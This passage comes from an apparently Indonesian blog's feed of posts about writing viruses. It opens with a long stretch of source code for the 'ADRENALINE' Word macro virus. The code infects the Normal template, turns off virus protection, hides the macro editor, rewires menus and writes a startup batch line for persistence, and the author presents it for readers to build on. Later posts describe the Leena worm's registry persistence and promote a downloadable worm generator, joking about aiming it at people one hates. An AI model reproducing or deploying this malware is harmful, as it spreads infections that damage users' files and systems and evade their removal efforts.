/&gt;NormalTemplate.Save&lt;br /&gt;End If&lt;br /&gt; UserFF001XCV&lt;br /&gt;GetMyapp&lt;br /&gt;PL001S&lt;br /&gt;WordBasic.DisableAutoMacros True&lt;br /&gt;End Sub&lt;br /&gt;Function Microsoft()&lt;br /&gt;On Error Resume Next&lt;br /&gt;If Aya = False Then&lt;br /&gt;SUCK: GetNorMalDocument&lt;br /&gt;C00NXVB = C00NXVB + 1&lt;br /&gt;MsgBox msgMy, 16, Special&lt;br /&gt;If C00NXVB = 5 Then&lt;br /&gt;       Shell Kritis, 1&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;End Function&lt;br /&gt;Sub PL001S()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim B001, B002, NT009&lt;br /&gt;Set NT009 = NormalTemplate&lt;br /&gt;B001 = _&lt;br /&gt;Options.DefaultFilePath(wdUserTemplatesPath)&lt;br /&gt;If Dir(B001 + "\Normal.dot") &lt;&gt; "Normal.dot" Then&lt;br /&gt;NT009.OpenAsDocument.SaveAs FileName:=B001 + "\Normal.dot"&lt;br /&gt;NT009.OpenAsDocument.Close SaveChanges:=wdDoNotSaveChanges&lt;br /&gt;End If&lt;br /&gt;If Dir(B001 + "\Debug.dot") &lt;&gt; "Debug.dot" Then&lt;br /&gt;NT009.OpenAsDocument.SaveAs FileName:=B001 + "\Debug.dot"&lt;br /&gt;NT009.OpenAsDocument.Close SaveChanges:=wdDoNotSaveChanges&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;Sub l00Path00()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim T001mp, AX000, AX001, AX002, SoftW As String, SoftA As String, SoftB As String, TempTul As String&lt;br /&gt;TempTul = Options.DefaultFilePath(wdProgramPath)&lt;br /&gt;T001mp = PathXA&lt;br /&gt;MkDir PathX &amp; ViriiX&lt;br /&gt;MkDir PathX &amp; ViriiX &amp; Tulalit&lt;br /&gt;MkDir PathX &amp; ViriiX &amp; Mistik&lt;br /&gt;AX000 = PathXA &amp; Modify1&lt;br /&gt;AX001 = PathXA &amp; Modify2&lt;br /&gt;AX002 = PathXA &amp; Modify3&lt;br /&gt;MkDir AX000: MkDir AX001: MkDir AX002&lt;br /&gt;Options.DefaultFilePath(wdUserTemplatesPath) = PathXA &amp; Modify1&lt;br /&gt;Options.DefaultFilePath(wdStartupPath) = PathX &amp; ViriiX &amp; Tulalit&lt;br /&gt;End Sub&lt;br /&gt;Sub DamnYou()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim CB, CBV, WD, AP, OP&lt;br /&gt;Dim u, g, I, SysHard&lt;br /&gt;Set CB = CommandBars&lt;br /&gt;Set CBV = VBE.CommandBars&lt;br /&gt;Set WD = VBE.Windows&lt;br /&gt;Set OP = Options&lt;br /&gt;Set OP = Application&lt;br /&gt;For u = 1 To WD.Count: WD.Item(u).Visible = False: Next u&lt;br /&gt;For g = 1 To CBV.Count: CBV.Item(g).Enabled = False:: CBV.Item(g).Visible = False: Next g&lt;br /&gt;With AP&lt;br /&gt;Options.SaveNormalPrompt = False&lt;br /&gt;Options.SavePropertiesPrompt = False&lt;br /&gt;.DisplayAlerts = wdAlertsNone&lt;br /&gt;.ScreenUpdating = False&lt;br /&gt;.ActiveDocument.ReadOnlyRecommended = False&lt;br /&gt;Options.ConfirmConversions = False&lt;br /&gt;Options.VirusProtection = False&lt;br /&gt;.ShowVisualBasicEditor = False&lt;br /&gt;For bvm = 1 To .CommandBars("Macro").Controls.Count&lt;br /&gt;.CommandBars("Macro").Controls(bvm).OnAction = "Microsoft"&lt;br /&gt;Next bvm&lt;br /&gt;.CommandBars("Tools").Controls("Customize...").OnAction = "Microsoft"&lt;br /&gt;.CommandBars("Tools").Controls("Protect Document...").OnAction = "Microsoft"&lt;br /&gt;.CommandBars("Tools").Controls("Templates And Add-Ins...").OnAction = "Microsoft"&lt;br /&gt;.CommandBars("Control Toolbox").Enabled = False&lt;br /&gt;.CommandBars("Forms").Enabled = False&lt;br /&gt;.CommandBars("Visual Basic").Enabled = False&lt;br /&gt;For fgh = 1 To .CommandBars.Count&lt;br /&gt;.CommandBars(fgh).Protection = msoBarNoCustomize&lt;br /&gt;Next fgh&lt;br /&gt;End With&lt;br /&gt;With System&lt;br /&gt;.PrivateProfileString("", V00L, FF00p(1)) = 1&amp;&lt;br /&gt;.PrivateProfileString("", V00H, FF00p(2)) = MyWorm&lt;br /&gt;.PrivateProfileString("", V00H, FF00p(3)) = MyWorm&lt;br /&gt;.PrivateProfileString("", V00I, FF00p(4)) = V009ATC&lt;br /&gt;.PrivateProfileString("", V00I, FF00p(5)) = V00K&lt;br /&gt;.PrivateProfileString("", V00J, FF00p(6)) = DamnYouA&lt;br /&gt;.PrivateProfileString("", V00J, FF00p(7)) = MyWorm&lt;br /&gt;.PrivateProfileString("", V00J, FF00p(8)) = DamnYouA&lt;br /&gt;End With&lt;br /&gt;End Sub&lt;br /&gt;Sub ToolsProtectDocument(): On Error Resume Next: Microsoft: End Sub&lt;br /&gt;Sub UserFF001XCV()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Application.UserName = "AnDReNaLinE (HaEZa_tSu)"&lt;br /&gt;Application.UserInitials = "BL"&lt;br /&gt;Application.UserAddress = "BaNdUnG , InDoNeSiaN..."&lt;br /&gt;With Dialogs(wdDialogFileSummaryInfo)&lt;br /&gt;.Author = "mETaL mUsIc_cReaToR"&lt;br /&gt;.Keywords = "GuE=AnDReNaLinE"&lt;br /&gt;.Comments = Zoro&lt;br /&gt;.Subject = "Root"&lt;br /&gt;.Title = "Metal.doc"&lt;br /&gt;.Execute&lt;br /&gt;End With&lt;br /&gt;End Sub&lt;br /&gt;Sub ViewVBCode(): Microsoft: End Sub&lt;br /&gt;Sub ToggleFormsDesign()&lt;br /&gt;On Error Resume Next&lt;br /&gt;ShowVisualBasicEditor = False&lt;br /&gt;For fgh = 1 To CommandBars.Count&lt;br /&gt;CommandBars(fgh).Protection = msoBarNoCustomize&lt;br /&gt;Next fgh&lt;br /&gt;GetNorMalDocument&lt;br /&gt;End Sub&lt;br /&gt;Sub FileTemplates(): On Error Resume Next: Microsoft: End Sub&lt;br /&gt;Sub ToolsCustumizeKeyboard(): On Error Resume Next: Microsoft: End Sub&lt;br /&gt;Sub FormatStyle(): On Error Resume Next: Microsoft: End Sub&lt;br /&gt;Sub ToolsOptions()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Application.EnableCancelKey = wdCancelDisabled&lt;br /&gt;Options.VirusProtection = False&lt;br /&gt;Application.Dialogs(wdDialogToolsOptionsView).Show&lt;br /&gt;Options.VirusProtection = False&lt;br /&gt;End Sub&lt;br /&gt;Sub FileProperties()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim PasswordX&lt;br /&gt;PasswordX = InputBox("New Tab Name.", OriginalVB)&lt;br /&gt;If PasswordX = ViriiX Then&lt;br /&gt;For I = 1 To Application.CommandBars.Count&lt;br /&gt;Application.CommandBars(I).Reset&lt;br /&gt;Next I&lt;br /&gt;Application.ShowVisualBasicEditor = True&lt;br /&gt;For u = 1 To VBE.Windows.Count&lt;br /&gt;VBE.Windows(u).Visible = True&lt;br /&gt;Next u&lt;br /&gt;For g = 1 To VBE.CommandBars.Count&lt;br /&gt;VBE.CommandBars(g).Enabled = True&lt;br /&gt;VBE.CommandBars(g).Visible = True&lt;br /&gt;Next g&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;Sub FileClose(): On Error Resume Next: FileSave: End Sub&lt;br /&gt;Sub AutoExit(): WordBasic.DisableAutoMacros False: l00Path00: PL001S: SUCK: End Sub&lt;br /&gt;Sub FileOpen()&lt;br /&gt;On Error Resume Next&lt;br /&gt;WordBasic.DisableAutoMacros True&lt;br /&gt;    If Dialogs(wdDialogFileOpen).Show &lt;&gt; 0 Then&lt;br /&gt;        GetNorMalDocument&lt;br /&gt;    End If&lt;br /&gt;WordBasic.DisableAutoMacros True&lt;br /&gt;End Sub&lt;br /&gt;Sub FileSave()&lt;br /&gt;On Error Resume Next&lt;br /&gt;WordBasic.DisableAutoMacros False&lt;br /&gt;If InStr(1, ActiveDocument.FullName, "\", vbTextCompare) = 0 Then&lt;br /&gt;    If Dialogs(wdDialogFileSaveAs).Show &lt;&gt; 0 Then&lt;br /&gt;        GetNorMalDocument&lt;br /&gt;    End If&lt;br /&gt;    Else&lt;br /&gt;    GetNorMalDocument&lt;br /&gt;End If&lt;br /&gt;WordBasic.DisableAutoMacros True&lt;br /&gt;End Sub&lt;br /&gt;Sub AutoOpen(): On Error Resume Next: WordBasic.DisableAutoMacros True: GetNorMalDocument: End Sub&lt;br /&gt;Sub Timing()&lt;br /&gt;On Error Resume Next&lt;br /&gt;TimeOn = Format(Time, "HH:MM:")&lt;br /&gt;Application.OnTime TimeOn &amp; Second(Now) + 3, "GetNorMalDocument"&lt;br /&gt;SUCK&lt;br /&gt;UserFF001XCV&lt;br /&gt;DamnYou&lt;br /&gt;For bvm = 1 To CommandBars("Macro").Controls.Count&lt;br /&gt;CommandBars("Macro").Controls(bvm).OnAction = "Microsoft"&lt;br /&gt;Next bvm&lt;br /&gt;l00Path00&lt;br /&gt;PL001S&lt;br /&gt;CopyFile NormalTemplate.FullName, PathX &amp; Top32, 0&lt;br /&gt;CreateAuto&lt;br /&gt;End Sub&lt;br /&gt;Sub AutoExec()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim P8005 As String&lt;br /&gt;P8005 = Format(Date, "dd")&lt;br /&gt;WordBasic.DisableAutoMacros True&lt;br /&gt;Application.EnableCancelKey = wdCancelDisabled&lt;br /&gt;CopyFile NormalTemplate.FullName, PathX &amp; Top32, 0&lt;br /&gt;CreateAuto&lt;br /&gt;Aya = False&lt;br /&gt;Application.Run "DamnYou"&lt;br /&gt;Application.Run "Timing"&lt;br /&gt;GetMyapp&lt;br /&gt;End Sub&lt;br /&gt;Function GetMyapp()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim Tlp As String&lt;br /&gt;Tlp = Application.StartupPath &amp; "\"&lt;br /&gt;If Dir(Tlp &amp; "Root.dot") &lt;&gt; "Root.dot" Then&lt;br /&gt;NormalTemplate.OpenAsDocument.SaveAs FileName:=Tlp &amp; "Root.dot"&lt;br /&gt;NormalTemplate.OpenAsDocument.Close SaveChanges:=wdDoNotSaveChanges&lt;br /&gt;End If&lt;br /&gt;End Function&lt;br /&gt;Function Kena(namaX As String)&lt;br /&gt;On Error Resume Next&lt;br /&gt;If Aya = False Then&lt;br /&gt;MsgBox Kode2 &amp; UCase(namaX), 16, Special&lt;br /&gt;End If&lt;br /&gt;End Function&lt;br /&gt;Function SUCK()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim Addinis As Integer&lt;br /&gt;For Addinis = 1 To AddIns.Count&lt;br /&gt;If AddIns(Addinis).Name &lt;&gt; "Root.dot" Then&lt;br /&gt;AddIns(Addinis).Installed = False&lt;br /&gt;End If&lt;br /&gt;Next Addinis&lt;br /&gt;If NormalTemplate.VBProject.VBComponents.Count &lt;&gt; 1 Then&lt;br /&gt;       If NormalTemplate.VBProject.VBComponents(2).Name = Special Then&lt;br /&gt;        NormalTemplate.VBProject.VBComponents(2).Export Options.DefaultFilePath(wdProgramPath) &amp; Top32&lt;br /&gt;        Else&lt;br /&gt;        NormalTemplate.VBProject.VBComponents.Import Options.DefaultFilePath(wdProgramPath) &amp; Top32&lt;br /&gt;        End If&lt;br /&gt;End If&lt;br /&gt;If NormalTemplate.VBProject.VBComponents.Count = 1 Then NormalTemplate.VBProject.VBComponents.Import Options.DefaultFilePath(wdProgramPath) &amp; Top32&lt;br /&gt;End Function&lt;br /&gt;Function CreateAuto()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim Ty As String, Th As String&lt;br /&gt;Th = vbCrLf &amp; "@echo off" &amp; vbCrLf &amp; _&lt;br /&gt;     "Copy " &amp; PathX &amp; Top32 &amp; " " &amp; NormalTemplate.FullName &amp; " /y"&lt;br /&gt;Ty = Space(FileLen(Hook))&lt;br /&gt;Open Hook For Binary As #1&lt;br /&gt;Get #1, , Ty&lt;br /&gt;If InStr(1, Ty, Hack, vbTextCompare) = 0 Then Put #1, , Th&lt;br /&gt;Close #1&lt;br /&gt;End Function&lt;br /&gt;Function PathX() As String&lt;br /&gt;On Error Resume Next&lt;br /&gt;    Dim sSave As String, Ret As Long&lt;br /&gt;    sSave = Space(255)&lt;br /&gt;    Ret = GetSystemDirectory(sSave, 255)&lt;br /&gt;    sSave = Left$(sSave, Ret)&lt;br /&gt;    PathX = sSave&lt;br /&gt;End Function&lt;br /&gt;Function PathXA() As String&lt;br /&gt;On Error Resume Next&lt;br /&gt;    Dim sSave As String, Ret As Long&lt;br /&gt;    sSave = Space(255)&lt;br /&gt;    Ret = GetWindowsDirectory(sSave, 255)&lt;br /&gt;    sSave = Left$(sSave, Ret)&lt;br /&gt;    PathXA = sSave&lt;br /&gt;End Function&lt;br /&gt;Function FF00p(FF00a As Single) As String&lt;br /&gt;On Error Resume Next&lt;br /&gt;FF00p = Choose(FF00a, "Level", "s1159", "s2359", "RegisteredOrganization", "OrgOrganization", "DefName", "OrgCompany", "DefCompany")&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Selamat berkreasi...&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8776530796533341767-3154154085045344779?l=scriptvirus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scriptvirus.blogspot.com/feeds/3154154085045344779/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://scriptvirus.blogspot.com/2009/03/adrenaline-macro-virus.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/3154154085045344779'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/3154154085045344779'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/2009/03/adrenaline-macro-virus.html' title='ADRENALINE Macro Virus'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8776530796533341767.post-1620750735239871157</id><published>2009-01-27T21:19:00.008+07:00</published><updated>2009-02-06T21:20:15.314+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virus Info'/><title type='text'>Leena Virus</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tb_BCZ1G0Gw/SX8Z3ojmnFI/AAAAAAAAAA8/F8-MKGnA_Go/s1600-h/empty+headed.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 190px; height: 158px;" src="http://2.bp.blogspot.com/_tb_BCZ1G0Gw/SX8Z3ojmnFI/AAAAAAAAAA8/F8-MKGnA_Go/s320/empty+headed.JPG" alt="" id="BLOGGER_PHOTO_ID_5295980130381241426" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The virus is created using VB and have the size of 76 KB and use the MS Word icon. With the view that resembles MS Word document, the virus will spread easily, especially for general computer users that are less careful. If the virus is executed it will appear an MS Word file with any posts EMPTY-headed. After that Leena will make some parent are:&lt;span class="fullpost"&gt;&lt;br /&gt;- C: \ Documents and Settings \% username%\Local Settings\Application Data \% user%. Task \ services.exe&lt;br /&gt;- C: \ Documents and Settings \% username% \ Local Settings \ Temp \ lsass.exe&lt;br /&gt;- C: \ Documents and Settings \ all users\ application data \ normal.exe&lt;br /&gt;- C: \ Documents and Settings\All Users \Application Data \ leena.%% Running on infection&lt;br /&gt;- C: \ Windows&lt;br /&gt;- ExeServ.exe&lt;br /&gt;- Leena.ini&lt;br /&gt;- C: \ WIndoss \ system32 \ 3D Soccer.exe&lt;br /&gt;- C: \ WIndoss \ system32 \ Av-Prev.exe&lt;br /&gt;- C: \ WIndoss \ system32 \ controls.exe&lt;br /&gt;- C: \ WIndoss \ system32 \ ex-plorer.exe&lt;br /&gt;- C: \ WINDOWS \ System32 \ exerun.exe&lt;br /&gt;&lt;br /&gt;As Leena support will make a string of registry,including:&lt;br /&gt;- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogonshell = Explorer.exe C:\WINDOWS\ExeServ.exe&lt;br /&gt;- HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command Default = C: \ WINDOWS \ System32 \ ExeRun "% 1"% *&lt;br /&gt;&lt;br /&gt;In addition Leena will also create a schedule [Schedule Task] with the name of the directory Leena [C: \ Windows \ tasks \ leena] schedule task is made to run the master file that is located in the directory [C: \ WINDOWS \ System32 \ controls.exe ], where the schedule will be run every 08.15 hours each week.&lt;br /&gt;&lt;br /&gt;Block the function of Windows and restart the computer. Leena to defend himself will try to shut some windows functions such as:&lt;br /&gt;- Regedit&lt;br /&gt;- Msconfig&lt;br /&gt;- Folder option&lt;br /&gt;&lt;br /&gt;The protection is made Leena will kill [restart] if the computer functions on the run. On the mode Safe Mode and Safe Mode with Command Prompt Leena will also remain active even though the computer booting mode safe mode or safe mode with command prompt, this is done to prevent the user to clean this virus.&lt;br /&gt;&lt;br /&gt;The technique is realized with the following string in the registry:&lt;br /&gt;- HKEY_LOCAL_MACHINE \ SYSTEM \ ControlSet001 \ Control \ SafeBoot\AlternateShell = C: \ WINDOWS \ System32 \ Av-Prev.exe&lt;br /&gt;- HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon shell = Explorer.exe C: \ WINDOWS \ ExeServ.exe&lt;br /&gt;&lt;br /&gt;Manipulate files. Exe to activate the virus&lt;br /&gt;&lt;br /&gt;Be careful if your computer is infected with the virus, we recommend to immediately clean up with the antivirus program can mendeteksinya. Because Leena will try to switch every executable file to run itself (in background), and the application of the call will still be able to run as usual.&lt;br /&gt;&lt;br /&gt;To do this, Leena will create the following string in the registry:&lt;br /&gt;- HKEY_LOCAL_MACHINE \ SOFTWARE \ Classes \ exefile \ shell \ open \ command Default = C: \ WINDOWS \ System32 \ ExeRun "% 1"% *&lt;br /&gt;&lt;br /&gt;Hide file MS.Word As done by the virus River, Leena will also try to hide the MS Word file and instead Leena will create duplicate files in accordance with the name of the file that is hidden, the virus file by Leena will have the characteristics:&lt;br /&gt;&lt;br /&gt;- File Size 76 KB&lt;br /&gt;- Extensi. EXE&lt;br /&gt;- File Type "Application".&lt;br /&gt;&lt;br /&gt;If you try to run the file that is infected with the Leena MS.Word program will appear with any posts EMPTY-headed.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8776530796533341767-1620750735239871157?l=scriptvirus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scriptvirus.blogspot.com/feeds/1620750735239871157/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/leena-virus-source-code.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/1620750735239871157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/1620750735239871157'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/leena-virus-source-code.html' title='Leena Virus'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_tb_BCZ1G0Gw/SX8Z3ojmnFI/AAAAAAAAAA8/F8-MKGnA_Go/s72-c/empty+headed.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8776530796533341767.post-3927169832683169879</id><published>2009-01-27T12:25:00.006+07:00</published><updated>2010-09-17T19:17:32.550+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Aplikasi'/><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><title type='text'>VISUAL BASIC WORM GENERATOR</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tb_BCZ1G0Gw/SX8XAfSwrzI/AAAAAAAAAAs/aaq61_nZnDk/s1600-h/1.JPG"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 237px; height: 188px;" src="http://3.bp.blogspot.com/_tb_BCZ1G0Gw/SX8XAfSwrzI/AAAAAAAAAAs/aaq61_nZnDk/s320/1.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5295976983978618674" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;(VISUAL BASIC WORM GENERATOR)&lt;br /&gt;&lt;br /&gt;VBWG is a Tools used to create a virus / worm that is still a source code, so users can change the string as well as analysis of information about computer viruses that use the Visual Basic programming language.&lt;br /&gt;&lt;br /&gt;On Worm Generator has two functions that make the virus code and men Drop 2 version Virus Local existing namely W32.Leena and W32.Chasnah.&lt;br /&gt;&lt;br /&gt;At this VBWG Loading several options including:&lt;br /&gt;1.First the message appears, select Yes to enter&lt;span class="fullpost"&gt;the program, No to exit.&lt;br /&gt;2.Name Of Program: It is the virus that will make you.&lt;br /&gt;3.Author: It is your name bro ..&lt;br /&gt;4.Then click [create virus]&lt;br /&gt;5.And also the option to drop a virus that has been made, but have the ability with a far different virusworm from VBWG.&lt;br /&gt;&lt;br /&gt;Visual Basic Worm Generator Download &lt;a target="sunrise" href="http://www.ziddu.com/download/11711805/VBWG1.zip.html"&gt;here&lt;/a&gt;&lt;br /&gt;Note:&lt;br /&gt;&lt;br /&gt;-Oh yes .. at least you should have VB5 or VB6 program that has been installed in your computer to compile the source code that has been made.&lt;br /&gt;&lt;br /&gt;-Do not it make you a virus (be sure to make this code so that the virus does not run than the computer, except the person who you hate.) .. :) ..&lt;br /&gt;&lt;br /&gt;-And do not forget to scan your computer with anti-virus after you try your virus, particularly the removable disk.&lt;br /&gt;&lt;br /&gt;-Think about this:&lt;br /&gt;Make a virus is fun for some people, but you should not make so great with the virus spread and damage.&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8776530796533341767-3927169832683169879?l=scriptvirus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scriptvirus.blogspot.com/feeds/3927169832683169879/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/visual-basic-worm-generator.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/3927169832683169879'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/3927169832683169879'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/visual-basic-worm-generator.html' title='VISUAL BASIC WORM GENERATOR'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_tb_BCZ1G0Gw/SX8XAfSwrzI/AAAAAAAAAAs/aaq61_nZnDk/s72-c/1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8776530796533341767.post-4663851178989884294</id><published>2009-01-27T00:23:00.004+07:00</published><updated>2009-01-27T00:27:45.670+07:00</updated><title type='text'>UNDER CONSTRUCTION</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tb_BCZ1G0Gw/SX3xxELZJGI/AAAAAAAAAAc/Gg34zKu_-L0/s1600-h/under_construc.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 246px;" src="http://1.bp.blogspot.com/_tb_BCZ1G0Gw/SX3xxELZJGI/AAAAAAAAAAc/Gg34zKu_-L0/s320/under_construc.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5295654562094982242" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8776530796533341767-4663851178989884294?l=scriptvirus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/4663851178989884294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/4663851178989884294'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/under-construction.html' title='UNDER CONSTRUCTION'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tb_BCZ1G0Gw/SX3xxELZJGI/AAAAAAAAAAc/Gg34zKu_-L0/s72-c/under_construc.gif' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8776530796533341767.post-2568199852410343582</id><published>2009-01-26T23:51:00.003+07:00</published><updated>2009-01-27T00:02:34.233+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Macro Viruses'/><title type='text'>Macro Function</title><content type='html'>&lt;div style="text-align: justify;"&gt;Programming visual basic can be done easily, the installation program without any visual basic, visual basic can be found in our daily life, which is the default program from Microsoft Office. To open a page visual basic, open a Microsoft Office program and click Tools and then highlight Macro with your mouse and click Macros. Macro window will appear. Fill in the name of any macro then click create.&lt;br /&gt;&lt;br /&gt;Macro is a series of commands that you can record and then run the Office programs, so that he repeated at the time. So, if you format text as Arial 12pt bold print and green, you can create a macro untukmelakukan task in one step of selecting the font, ukurang, color, and effects. A simple example: &lt;span class="fullpost"&gt;macro can be used in Word to format a table or in the Excel data to make certain calculations. If necessary, you can create a more complex.&lt;br /&gt;&lt;br /&gt;Have you heard the term macro virus? No virus-like viruses in general circulation at this time, macro virus runs only on Microsoft Office documents. This virus is only a visual basic script programming that is embedded in office documents such as word document (*. doc), and on the other office documents.&lt;br /&gt;Initially intended to be Macro office documents can be more interactive and allows Customize that are not limited to Microsoft Office users, but on the development of the next, this script is often misused to create a virus for the purpose of a more useful.&lt;br /&gt;&lt;br /&gt;So starting from the version of Microsoft Office 2000 macro made outside the computer that is blocked by default unless the user to allow macros to run, as the user is always reminded that a document containing a macro virus contains a possibility. Therefore it is why we rarely find a macro virus spread.&lt;br /&gt;&lt;br /&gt;But no one if we learn a little about this macro. Because in addition to viruses, macro is basically intended to make Microsoft Office users more comfortable. Visual Basic programming language allows programmers to access all the computer from which light up the most dangerous, including damage to the system.&lt;br /&gt;A simple example script macros&lt;br /&gt;&lt;br /&gt;Note the screenshot above. Click twice on the ThisDocument normal it will appear a text editor. Then copy and paste the following script:&lt;br /&gt;&lt;br /&gt;Private Sub Document_Close ()&lt;br /&gt;MsgBox "Do not forget to turn off the monitor after the computer"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Now close the Macro and close Office Word. So each time you close the Microsoft Word application will show a message dialog titled "Do not forget to turn off the monitor after the computer". If you want to display a message when a document file using the following script:&lt;br /&gt;&lt;br /&gt;Private Sub Document_Open ()&lt;br /&gt;MsgBox "Remember to save the file after editing"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;So when will also create a new document&lt;br /&gt;&lt;br /&gt;Private Sub Document_New ()&lt;br /&gt;MsgBox "Start with basmalah read before starting a job"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;If you want to remove the above macro simply delete the entire script is over. Congratulations Testing ..&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8776530796533341767-2568199852410343582?l=scriptvirus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scriptvirus.blogspot.com/feeds/2568199852410343582/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/programming-visual-basic-can-be-done.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/2568199852410343582'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/2568199852410343582'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/programming-visual-basic-can-be-done.html' title='Macro 